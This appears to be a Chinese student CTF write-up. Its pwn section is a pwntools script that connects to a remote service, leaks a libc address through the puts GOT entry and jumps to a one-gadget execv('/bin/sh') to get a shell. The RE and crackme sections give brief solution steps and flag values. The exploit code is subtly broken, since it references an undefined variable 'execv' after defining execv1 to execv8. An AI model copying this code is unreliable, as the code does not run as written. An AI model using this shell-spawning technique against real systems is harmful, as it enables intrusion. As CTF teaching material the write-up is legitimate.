校赛writeup

Warmup——pwn

第一次输入的是一个地址

会输出地址的内容——这个可以用来泄露

一旦泄露了，在后面的输入就可以进行跳转到想要的位置

而且这里不需要覆盖

直接就会跳转到输入的位置去执行

但是这个题目的坑点在于要找到正确的偏移，在给出的libc中，有8个带/bin/sh的execv

一个一个试一下才能找到

Exp:

#!/usr/bin/env python

# encoding: utf-8

from pwn import *

proc_name = './oneshot'

proc_elf = ELF(proc_name)

print proc_elf.checksec()

context.log_level = 'debug'

io = remote("59.110.6.128",10086)

#io = process(proc_name)

#print proc.pidof(io)[0]

raw_input('debug')

local_lib_system =0x7ffff7a53380

local_lib_printf = 0x557b0

local_lib_execv = 0x451ff

local_lib_puts = 0x6f5d0

local_lib_temp = 0x6f4e6

lib2_sys = 0x46590

lib2_printf =0x0000000000054340

lib2_execv = 0x00000000000C12E0

lib2_puts = 0x6fd60

got_printf = 0x600ae8

got_puts = 0x600ad8

plt_puts = 0x4004F0

plt_printf = 0x400510

payload1 = str(int(got_puts))

io.recvuntil("?");

io.sendline(payload1)

io.recvuntil(":")

recvdata = io.recv()

puts_addr = recvdata[:19]

print "puts_addr "+ puts_addr

puts_addr = int(puts_addr,16)

execv1 = 0x6FBDA

execv2 = 0x46483

execv3 = 0xC18D1

execv4 = 0xC1BA3

execv5 = 0xC1BF2

execv6 = 0xE4968

execv7 = 0xE5765

execv8 = 0xE66BD

execv_addr = puts_addr + execv - lib2_puts

print "execv_addr  " +str(hex(execv_addr))

payload2 = str(execv_addr)

io.sendline(payload2)

io.recvuntil("!")

io.interactive()

warmup——re

其实很简单

用ida打开看一下就可以了

然后写个程序，根据hint——goodgoodstudydaydayup

但是如果没有hint就很难。。。完全猜不到。。。

Crackme

四层分析就可以得到flag

第一层：

简单的倒推就知道是2

第二层:

这个其实可以暴力求出来是654321

第三层

给出merrychrismas，加上之前算出来的x[]数组，可以倒推出来应该输入的字符串

Lcont=gpfoog`q

第四层：

需要根据前面四个函数算出来flag变量的值

不是很难，稍微编个程就出来了

176455667

注意要在cmd中运行，才能看到flag——因为会闪退